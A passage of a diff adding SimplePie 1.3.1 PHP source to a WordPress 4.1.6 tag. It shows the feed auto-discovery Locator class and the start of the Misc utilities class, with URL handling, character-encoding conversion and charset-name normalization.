+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Used for feed auto-discovery
+ *
+ *
+ * This class can be overloaded with {@see SimplePie::set_locator_class()}
+ *
+ * @package SimplePie
+ */
+class SimplePie_Locator
+{
+	var $useragent;
+	var $timeout;
+	var $file;
+	var $local = array();
+	var $elsewhere = array();
+	var $cached_entities = array();
+	var $http_base;
+	var $base;
+	var $base_location = 0;
+	var $checked_feeds = 0;
+	var $max_checked_feeds = 10;
+	protected $registry;
+
+	public function __construct(SimplePie_File $file, $timeout = 10, $useragent = null, $max_checked_feeds = 10)
+	{
+		$this->file = $file;
+		$this->useragent = $useragent;
+		$this->timeout = $timeout;
+		$this->max_checked_feeds = $max_checked_feeds;
+
+		if (class_exists('DOMDocument'))
+		{
+			$this->dom = new DOMDocument();
+
+			set_error_handler(array('SimplePie_Misc', 'silence_errors'));
+			$this->dom->loadHTML($this->file->body);
+			restore_error_handler();
+		}
+		else
+		{
+			$this->dom = null;
+		}
+	}
+
+	public function set_registry(SimplePie_Registry $registry)
+	{
+		$this->registry = $registry;
+	}
+
+	public function find($type = SIMPLEPIE_LOCATOR_ALL, &$working)
+	{
+		if ($this->is_feed($this->file))
+		{
+			return $this->file;
+		}
+
+		if ($this->file->method & SIMPLEPIE_FILE_SOURCE_REMOTE)
+		{
+			$sniffer = $this->registry->create('Content_Type_Sniffer', array($this->file));
+			if ($sniffer->get_type() !== 'text/html')
+			{
+				return null;
+			}
+		}
+
+		if ($type & ~SIMPLEPIE_LOCATOR_NONE)
+		{
+			$this->get_base();
+		}
+
+		if ($type & SIMPLEPIE_LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery())
+		{
+			return $working[0];
+		}
+
+		if ($type & (SIMPLEPIE_LOCATOR_LOCAL_EXTENSION | SIMPLEPIE_LOCATOR_LOCAL_BODY | SIMPLEPIE_LOCATOR_REMOTE_EXTENSION | SIMPLEPIE_LOCATOR_REMOTE_BODY) && $this->get_links())
+		{
+			if ($type & SIMPLEPIE_LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local))
+			{
+				return $working;
+			}
+
+			if ($type & SIMPLEPIE_LOCATOR_LOCAL_BODY && $working = $this->body($this->local))
+			{
+				return $working;
+			}
+
+			if ($type & SIMPLEPIE_LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere))
+			{
+				return $working;
+			}
+
+			if ($type & SIMPLEPIE_LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere))
+			{
+				return $working;
+			}
+		}
+		return null;
+	}
+
+	public function is_feed($file)
+	{
+		if ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE)
+		{
+			$sniffer = $this->registry->create('Content_Type_Sniffer', array($file));
+			$sniffed = $sniffer->get_type();
+			if (in_array($sniffed, array('application/rss+xml', 'application/rdf+xml', 'text/rdf', 'application/atom+xml', 'text/xml', 'application/xml')))
+			{
+				return true;
+			}
+			else
+			{
+				return false;
+			}
+		}
+		elseif ($file->method & SIMPLEPIE_FILE_SOURCE_LOCAL)
+		{
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	public function get_base()
+	{
+		if ($this->dom === null)
+		{
+			throw new SimplePie_Exception('DOMDocument not found, unable to use locator');
+		}
+		$this->http_base = $this->file->url;
+		$this->base = $this->http_base;
+		$elements = $this->dom->getElementsByTagName('base');
+		foreach ($elements as $element)
+		{
+			if ($element->hasAttribute('href'))
+			{
+				$base = $this->registry->call('Misc', 'absolutize_url', array(trim($element->getAttribute('href')), $this->http_base));
+				if ($base === false)
+				{
+					continue;
+				}
+				$this->base = $base;
+				$this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0;
+				break;
+			}
+		}
+	}
+
+	public function autodiscovery()
+	{
+		$done = array();
+		$feeds = array();
+		$feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds));
+		$feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds));
+		$feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds));
+
+		if (!empty($feeds))
+		{
+			return array_values($feeds);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	protected function search_elements_by_tag($name, &$done, $feeds)
+	{
+		if ($this->dom === null)
+		{
+			throw new SimplePie_Exception('DOMDocument not found, unable to use locator');
+		}
+
+		$links = $this->dom->getElementsByTagName($name);
+		foreach ($links as $link)
+		{
+			if ($this->checked_feeds === $this->max_checked_feeds)
+			{
+				break;
+			}
+			if ($link->hasAttribute('href') && $link->hasAttribute('rel'))
+			{
+				$rel = array_unique($this->registry->call('Misc', 'space_seperated_tokens', array(strtolower($link->getAttribute('rel')))));
+				$line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1;
+
+				if ($this->base_location < $line)
+				{
+					$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base));
+				}
+				else
+				{
+					$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base));
+				}
+				if ($href === false)
+				{
+					continue;
+				}
+
+				if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call('Misc', 'parse_mime', array($link->getAttribute('type')))), array('application/rss+xml', 'application/atom+xml'))) && !isset($feeds[$href]))
+				{
+					$this->checked_feeds++;
+					$headers = array(
+						'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
+					);
+					$feed = $this->registry->create('File', array($href, $this->timeout, 5, $headers, $this->useragent));
+					if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed))
+					{
+						$feeds[$href] = $feed;
+					}
+				}
+				$done[] = $href;
+			}
+		}
+
+		return $feeds;
+	}
+
+	public function get_links()
+	{
+		if ($this->dom === null)
+		{
+			throw new SimplePie_Exception('DOMDocument not found, unable to use locator');
+		}
+
+		$links = $this->dom->getElementsByTagName('a');
+		foreach ($links as $link)
+		{
+			if ($link->hasAttribute('href'))
+			{
+				$href = trim($link->getAttribute('href'));
+				$parsed = $this->registry->call('Misc', 'parse_url', array($href));
+				if ($parsed['scheme'] === '' || preg_match('/^(http(s)|feed)?$/i', $parsed['scheme']))
+				{
+					if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo())
+					{
+						$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base));
+					}
+					else
+					{
+						$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base));
+					}
+					if ($href === false)
+					{
+						continue;
+					}
+
+					$current = $this->registry->call('Misc', 'parse_url', array($this->file->url));
+
+					if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority'])
+					{
+						$this->local[] = $href;
+					}
+					else
+					{
+						$this->elsewhere[] = $href;
+					}
+				}
+			}
+		}
+		$this->local = array_unique($this->local);
+		$this->elsewhere = array_unique($this->elsewhere);
+		if (!empty($this->local) || !empty($this->elsewhere))
+		{
+			return true;
+		}
+		return null;
+	}
+
+	public function extension(&$array)
+	{
+		foreach ($array as $key => $value)
+		{
+			if ($this->checked_feeds === $this->max_checked_feeds)
+			{
+				break;
+			}
+			if (in_array(strtolower(strrchr($value, '.')), array('.rss', '.rdf', '.atom', '.xml')))
+			{
+				$this->checked_feeds++;
+
+				$headers = array(
+					'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
+				);
+				$feed = $this->registry->create('File', array($value, $this->timeout, 5, $headers, $this->useragent));
+				if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed))
+				{
+					return $feed;
+				}
+				else
+				{
+					unset($array[$key]);
+				}
+			}
+		}
+		return null;
+	}
+
+	public function body(&$array)
+	{
+		foreach ($array as $key => $value)
+		{
+			if ($this->checked_feeds === $this->max_checked_feeds)
+			{
+				break;
+			}
+			if (preg_match('/(rss|rdf|atom|xml)/i', $value))
+			{
+				$this->checked_feeds++;
+				$headers = array(
+					'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
+				);
+				$feed = $this->registry->create('File', array($value, $this->timeout, 5, null, $this->useragent));
+				if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed))
+				{
+					return $feed;
+				}
+				else
+				{
+					unset($array[$key]);
+				}
+			}
+		}
+		return null;
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Misc.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Misc.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Misc.php	(revision 33402)
@@ -0,0 +1,2247 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Miscellanous utilities
+ *
+ * @package SimplePie
+ */
+class SimplePie_Misc
+{
+	public static function time_hms($seconds)
+	{
+		$time = '';
+
+		$hours = floor($seconds / 3600);
+		$remainder = $seconds % 3600;
+		if ($hours > 0)
+		{
+			$time .= $hours.':';
+		}
+
+		$minutes = floor($remainder / 60);
+		$seconds = $remainder % 60;
+		if ($minutes < 10 && $hours > 0)
+		{
+			$minutes = '0' . $minutes;
+		}
+		if ($seconds < 10)
+		{
+			$seconds = '0' . $seconds;
+		}
+
+		$time .= $minutes.':';
+		$time .= $seconds;
+
+		return $time;
+	}
+
+	public static function absolutize_url($relative, $base)
+	{
+		$iri = SimplePie_IRI::absolutize(new SimplePie_IRI($base), $relative);
+		if ($iri === false)
+		{
+			return false;
+		}
+		return $iri->get_uri();
+	}
+
+	/**
+	 * Get a HTML/XML element from a HTML string
+	 *
+	 * @deprecated Use DOMDocument instead (parsing HTML with regex is bad!)
+	 * @param string $realname Element name (including namespace prefix if applicable)
+	 * @param string $string HTML document
+	 * @return array
+	 */
+	public static function get_element($realname, $string)
+	{
+		$return = array();
+		$name = preg_quote($realname, '/');
+		if (preg_match_all("/<($name)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE))
+		{
+			for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++)
+			{
+				$return[$i]['tag'] = $realname;
+				$return[$i]['full'] = $matches[$i][0][0];
+				$return[$i]['offset'] = $matches[$i][0][1];
+				if (strlen($matches[$i][3][0]) <= 2)
+				{
+					$return[$i]['self_closing'] = true;
+				}
+				else
+				{
+					$return[$i]['self_closing'] = false;
+					$return[$i]['content'] = $matches[$i][4][0];
+				}
+				$return[$i]['attribs'] = array();
+				if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER))
+				{
+					for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++)
+					{
+						if (count($attribs[$j]) === 2)
+						{
+							$attribs[$j][2] = $attribs[$j][1];
+						}
+						$return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = SimplePie_Misc::entities_decode(end($attribs[$j]));
+					}
+				}
+			}
+		}
+		return $return;
+	}
+
+	public static function element_implode($element)
+	{
+		$full = "<$element[tag]";
+		foreach ($element['attribs'] as $key => $value)
+		{
+			$key = strtolower($key);
+			$full .= " $key=\"" . htmlspecialchars($value['data']) . '"';
+		}
+		if ($element['self_closing'])
+		{
+			$full .= ' />';
+		}
+		else
+		{
+			$full .= ">$element[content]</$element[tag]>";
+		}
+		return $full;
+	}
+
+	public static function error($message, $level, $file, $line)
+	{
+		if ((ini_get('error_reporting') & $level) > 0)
+		{
+			switch ($level)
+			{
+				case E_USER_ERROR:
+					$note = 'PHP Error';
+					break;
+				case E_USER_WARNING:
+					$note = 'PHP Warning';
+					break;
+				case E_USER_NOTICE:
+					$note = 'PHP Notice';
+					break;
+				default:
+					$note = 'Unknown Error';
+					break;
+			}
+
+			$log_error = true;
+			if (!function_exists('error_log'))
+			{
+				$log_error = false;
+			}
+
+			$log_file = @ini_get('error_log');
+			if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file))
+			{
+				$log_error = false;
+			}
+
+			if ($log_error)
+			{
+				@error_log("$note: $message in $file on line $line", 0);
+			}
+		}
+
+		return $message;
+	}
+
+	public static function fix_protocol($url, $http = 1)
+	{
+		$url = SimplePie_Misc::normalize_url($url);
+		$parsed = SimplePie_Misc::parse_url($url);
+		if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https')
+		{
+			return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http);
+		}
+
+		if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url))
+		{
+			return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http);
+		}
+
+		if ($http === 2 && $parsed['scheme'] !== '')
+		{
+			return "feed:$url";
+		}
+		elseif ($http === 3 && strtolower($parsed['scheme']) === 'http')
+		{
+			return substr_replace($url, 'podcast', 0, 4);
+		}
+		elseif ($http === 4 && strtolower($parsed['scheme']) === 'http')
+		{
+			return substr_replace($url, 'itpc', 0, 4);
+		}
+		else
+		{
+			return $url;
+		}
+	}
+
+	public static function parse_url($url)
+	{
+		$iri = new SimplePie_IRI($url);
+		return array(
+			'scheme' => (string) $iri->scheme,
+			'authority' => (string) $iri->authority,
+			'path' => (string) $iri->path,
+			'query' => (string) $iri->query,
+			'fragment' => (string) $iri->fragment
+		);
+	}
+
+	public static function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '')
+	{
+		$iri = new SimplePie_IRI('');
+		$iri->scheme = $scheme;
+		$iri->authority = $authority;
+		$iri->path = $path;
+		$iri->query = $query;
+		$iri->fragment = $fragment;
+		return $iri->get_uri();
+	}
+
+	public static function normalize_url($url)
+	{
+		$iri = new SimplePie_IRI($url);
+		return $iri->get_uri();
+	}
+
+	public static function percent_encoding_normalization($match)
+	{
+		$integer = hexdec($match[1]);
+		if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E)
+		{
+			return chr($integer);
+		}
+		else
+		{
+			return strtoupper($match[0]);
+		}
+	}
+
+	/**
+	 * Converts a Windows-1252 encoded string to a UTF-8 encoded string
+	 *
+	 * @static
+	 * @param string $string Windows-1252 encoded string
+	 * @return string UTF-8 encoded string
+	 */
+	public static function windows_1252_to_utf8($string)
+	{
+		static $convert_table = array("\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF");
+
+		return strtr($string, $convert_table);
+	}
+
+	/**
+	 * Change a string from one encoding to another
+	 *
+	 * @param string $data Raw data in $input encoding
+	 * @param string $input Encoding of $data
+	 * @param string $output Encoding you want
+	 * @return string|boolean False if we can't convert it
+	 */
+	public static function change_encoding($data, $input, $output)
+	{
+		$input = SimplePie_Misc::encoding($input);
+		$output = SimplePie_Misc::encoding($output);
+
+		// We fail to fail on non US-ASCII bytes
+		if ($input === 'US-ASCII')
+		{
+			static $non_ascii_octects = '';
+			if (!$non_ascii_octects)
+			{
+				for ($i = 0x80; $i <= 0xFF; $i++)
+				{
+					$non_ascii_octects .= chr($i);
+				}
+			}
+			$data = substr($data, 0, strcspn($data, $non_ascii_octects));
+		}
+
+		// This is first, as behaviour of this is completely predictable
+		if ($input === 'windows-1252' && $output === 'UTF-8')
+		{
+			return SimplePie_Misc::windows_1252_to_utf8($data);
+		}
+		// This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported).
+		elseif (function_exists('mb_convert_encoding') && ($return = SimplePie_Misc::change_encoding_mbstring($data, $input, $output)))
+		{
+			return $return;
+ 		}
+		// This is last, as behaviour of this varies with OS userland and PHP version
+		elseif (function_exists('iconv') && ($return = SimplePie_Misc::change_encoding_iconv($data, $input, $output)))
+		{
+			return $return;
+		}
+		// If we can't do anything, just fail
+		else
+		{
+			return false;
+		}
+	}
+
+	protected static function change_encoding_mbstring($data, $input, $output)
+	{
+		if ($input === 'windows-949')
+		{
+			$input = 'EUC-KR';
+		}
+		if ($output === 'windows-949')
+		{
+			$output = 'EUC-KR';
+		}
+		if ($input === 'Windows-31J')
+		{
+			$input = 'SJIS';
+		}
+		if ($output === 'Windows-31J')
+		{
+			$output = 'SJIS';
+		}
+
+		// Check that the encoding is supported
+		if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80")
+		{
+			return false;
+		}
+		if (!in_array($input, mb_list_encodings()))
+		{
+			return false;
+		}
+
+		// Let's do some conversion
+		if ($return = @mb_convert_encoding($data, $output, $input))
+		{
+			return $return;
+		}
+
+		return false;
+	}
+
+	protected static function change_encoding_iconv($data, $input, $output)
+	{
+		return @iconv($input, $output, $data);
+	}
+
+	/**
+	 * Normalize an encoding name
+	 *
+	 * This is automatically generated by create.php
+	 *
+	 * To generate it, run `php create.php` on the command line, and copy the
+	 * output to replace this function.
+	 *
+	 * @param string $charset Character set to standardise
+	 * @return string Standardised name
+	 */
+	public static function encoding($charset)
+	{
+		// Normalization from UTS #22
+		switch (strtolower(preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset)))
+		{
+			case 'adobestandardencoding':
+			case 'csadobestandardencoding':
+				return 'Adobe-Standard-Encoding';
+
+			case 'adobesymbolencoding':
+			case 'cshppsmath':
+				return 'Adobe-Symbol-Encoding';
+
+			case 'ami1251':
+			case 'amiga1251':
+				return 'Amiga-1251';
+
+			case 'ansix31101983':
+			case 'csat5001983':
+			case 'csiso99naplps':
+			case 'isoir99':
+			case 'naplps':
+				return 'ANSI_X3.110-1983';
+
+			case 'arabic7':
+			case 'asmo449':
+			case 'csiso89asmo449':
+			case 'iso9036':
+			case 'isoir89':
+				return 'ASMO_449';
+
+			case 'big5':
+			case 'csbig5':
+				return 'Big5';
+
+			case 'big5hkscs':
+				return 'Big5-HKSCS';
+
+			case 'bocu1':
+			case 'csbocu1':
+				return 'BOCU-1';
+
+			case 'brf':
+			case 'csbrf':
+				return 'BRF';
+
+			case 'bs4730':
+			case 'csiso4unitedkingdom':
+			case 'gb':
+			case 'iso646gb':
+			case 'isoir4':
+			case 'uk':
+				return 'BS_4730';
+
+			case 'bsviewdata':
+			case 'csiso47bsviewdata':
+			case 'isoir47':
+				return 'BS_viewdata';
+
+			case 'cesu8':
+			case 'cscesu8':
+				return 'CESU-8';
+
+			case 'ca':
+			case 'csa71':
+			case 'csaz243419851':
+			case 'csiso121canadian1':
+			case 'iso646ca':
+			case 'isoir121':
+				return 'CSA_Z243.4-1985-1';
+
+			case 'csa72':
+			case 'csaz243419852':
+			case 'csiso122canadian2':
+			case 'iso646ca2':
+			case 'isoir122':
+				return 'CSA_Z243.4-1985-2';
+
+			case 'csaz24341985gr':
+			case 'csiso123csaz24341985gr':
+			case 'isoir123':
+				return 'CSA_Z243.4-1985-gr';
+
+			case 'csiso139csn369103':
+			case 'csn369103':
+			case 'isoir139':
+				return 'CSN_369103';
+
+			case 'csdecmcs':
+			case 'dec':
+			case 'decmcs':
+				return 'DEC-MCS';
+
+			case 'csiso21german':
+			case 'de':
+			case 'din66003':
+			case 'iso646de':
+			case 'isoir21':
+				return 'DIN_66003';
+
+			case 'csdkus':
+			case 'dkus':
+				return 'dk-us';
+
+			case 'csiso646danish':
+			case 'dk':
+			case 'ds2089':
+			case 'iso646dk':
+				return 'DS_2089';
+
+			case 'csibmebcdicatde':
+			case 'ebcdicatde':
+				return 'EBCDIC-AT-DE';
+
+			case 'csebcdicatdea':
+			case 'ebcdicatdea':
+				return 'EBCDIC-AT-DE-A';
+
+			case 'csebcdiccafr':
+			case 'ebcdiccafr':
+				return 'EBCDIC-CA-FR';
+
+			case 'csebcdicdkno':
+			case 'ebcdicdkno':
+				return 'EBCDIC-DK-NO';
+
+			case 'csebcdicdknoa':
+			case 'ebcdicdknoa':
+				return 'EBCDIC-DK-NO-A';
+
+			case 'csebcdices':
+			case 'ebcdices':
+				return 'EBCDIC-ES';
+
+			case 'csebcdicesa':
+			case 'ebcdicesa':
+				return 'EBCDIC-ES-A';
+
+			case 'csebcdicess':
+			case 'ebcdicess':
+				return 'EBCDIC-ES-S';
+
+			case 'csebcdicfise':
+			case 'ebcdicfise':
+				return 'EBCDIC-FI-SE';
+
+			case 'csebcdicfisea':
+			case 'ebcdicfisea':
+				return 'EBCDIC-FI-SE-A';
+
+			case 'csebcdicfr':
+			case 'ebcdicfr':
+				return 'EBCDIC-FR';
+
+			case 'csebcdicit':
+			case 'ebcdicit':
+				return 'EBCDIC-IT';
+
+			case 'csebcdicpt':
+			case 'ebcdicpt':
+				return 'EBCDIC-PT';
+
+			case 'csebcdicuk':
+			case 'ebcdicuk':
+				return 'EBCDIC-UK';
+
+			case 'csebcdicus':
+			case 'ebcdicus':
+				return 'EBCDIC-US';
+
+			case 'csiso111ecmacyrillic':
+			case 'ecmacyrillic':
+			case 'isoir111':
+			case 'koi8e':
+				return 'ECMA-cyrillic';
+
+			case 'csiso17spanish':
+			case 'es':
+			case 'iso646es':
+			case 'isoir17':
+				return 'ES';
+
+			case 'csiso85spanish2':
+			case 'es2':
+			case 'iso646es2':
+			case 'isoir85':
+				return 'ES2';
+
+			case 'cseucpkdfmtjapanese':
+			case 'eucjp':
+			case 'extendedunixcodepackedformatforjapanese':
+				return 'EUC-JP';
+
